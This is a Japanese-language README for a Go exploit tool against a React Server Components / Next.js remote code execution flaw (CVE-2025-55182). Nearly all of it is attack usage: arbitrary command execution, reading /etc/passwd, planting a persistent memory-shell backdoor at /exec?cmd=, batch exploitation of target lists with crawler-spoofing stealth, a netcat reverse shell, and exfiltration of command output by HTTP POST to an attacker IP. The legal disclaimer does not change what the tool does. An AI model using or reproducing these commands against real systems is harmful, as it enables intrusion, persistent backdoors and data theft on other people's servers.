
CVE-2025-55182 React Server Components RCE - Go PoC
⚠️ 認可されたセキュリティテスト専用 ⚠️
CVE-2025-55182 (別名 CVE-2025-66478) は、React Server Components (Flight プロトコル) における重大なリモートコード実行 (RCE) の脆弱性です。このツールは、セキュリティ研究および認可されたペネトレーションテストを目的とした PoC の Go 実装です。
影響を受けるバージョン:
このエクスプロイトは、Flight プロトコルのデシリアライゼーションにおけるプロトタイプ汚染 (prototype pollution) を利用します:
$@ デシリアライゼーションを使用して Chunk 参照を取得するChunk.prototype.then をルートオブジェクトの then プロパティとして配置するRESOLVED_MODEL に設定し、制御された偽のチャンクで initializeModelChunk を呼び出すresponse._formData.get を呼び出すresponse._formData.get を Function コンストラクタに設定する/exec?cmd= に持続的バックドアを設置GitHub Releases からお使いのプラットフォーム向けの最新リリースをダウンロードしてください。
利用可能なバイナリ:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
./build.sh を実行すると、サポートされているすべてのプラットフォーム向けのバイナリが build/ ディレクトリに生成されます。
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Description |
|---|---|
browser | 実際のブラウザのリクエストを模倣 (Chrome、Firefox、Safari、Edge) - デフォルト |
crawler | 検索エンジンのクローラーを模倣 (Googlebot、Bingbot、Baiduspider など) |
security | セキュリティスキャナーの User-Agent を使用 (Nessus、Nuclei) |
メモリシェル機能は、以下の動作を行う持続的バックドアを注入します:
cmd クエリパラメータを受け付ける# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
build.sh スクリプトは 30 以上のプラットフォーム向けにビルドします:
chmod +x build.sh
./build.sh
--json フラグを使用すると、結果は JSONL 形式 (1 行に 1 つの JSON) で保存されます:
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
完全なレポート (_report.json) には以下が含まれます:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
このツールは Next.js のバージョンを以下から検出できます:
X-Powered-By ヘッダー__NEXT_DATA__、/_next/ パス)脆弱なバージョンは赤色で強調表示されます。
⚠️ 重要な法的通知 ⚠️
このツールは教育目的および認可されたセキュリティテスト専用として提供されています。
以下の目的でこのツールを使用することは固く禁止されています:
コンピュータシステムへの不正アクセスは、世界中のほとんどの法域で犯罪行為です。これには以下の国・地域が含まれますが、これらに限定されません:
本ソフトウェアは「現状のまま」提供され、明示または黙示を問わずいかなる種類の保証もありません。作者および著作権者は、本ソフトウェアの使用に起因するいかなる請求、損害、その他の責任も負わないものとします。
このツールをダウンロード、インストール、または使用することにより、以下を確認したことになります:
これらの条件に同意できない場合は、このツールを使用しないでください。
Vladislav Tislenko (別名 keklick1337)
日付: 2025-12-05
このプロジェクトはMIT ライセンスの下でライセンスされています。詳細については LICENSE ファイルを参照してください。
責任を持って使用してください。常に合法的に。🔐
| Option | Description |
|---|
-u, --url | ターゲット URL (例: http://localhost:3000) |
-f, --file | ターゲット URL の一覧を含むファイル (1 行に 1 つ) |
--urls | -f/--file のエイリアス |
-o, --output | 脆弱なターゲットを保存する出力ファイル |
--json | 結果を JSON 形式で出力 |
-c, --command | 実行するコマンド (出力付き) |
--check | 脆弱性をチェック |
--version-check | Next.js のバージョンを検出 |
--proxy | プロキシ URL (socks5://user:pass@ip:port、socks4://ip:port、http://ip:port) |
-H, --header | カスタムヘッダー (複数回使用可能) |
-k, --insecure | SSL/TLS 証明書の検証をスキップ |
--stealth | ステルスモード: browser、crawler、security (デフォルト: browser) |
--delay | リクエスト間の遅延 (例: 2s、500ms) |
--variants | 徹底的なチェックのために複数のペイロードバリアントを使用 |
--memshell | メモリシェルを注入 (持続的バックドア) |
--test-shell | メモリシェルがアクティブかテスト |
--shell-exec | メモリシェル経由でコマンドを実行 |
--revshell IP PORT | リバースシェルを確立 |
--exfil CMD IP PORT | コマンドを実行し、出力を POST 送信 |
-t, --timeout | リクエストタイムアウト (秒) (デフォルト: 15) |
--threads | 同時実行スレッド数 (デフォルト: 10) |
--workers | --threads のエイリアス |
--nocolor | 色付き出力を無効化 (Windows/パイプ用) |
-h, --help | ヘルプメッセージを表示 |
-v, --version | バージョンを表示 |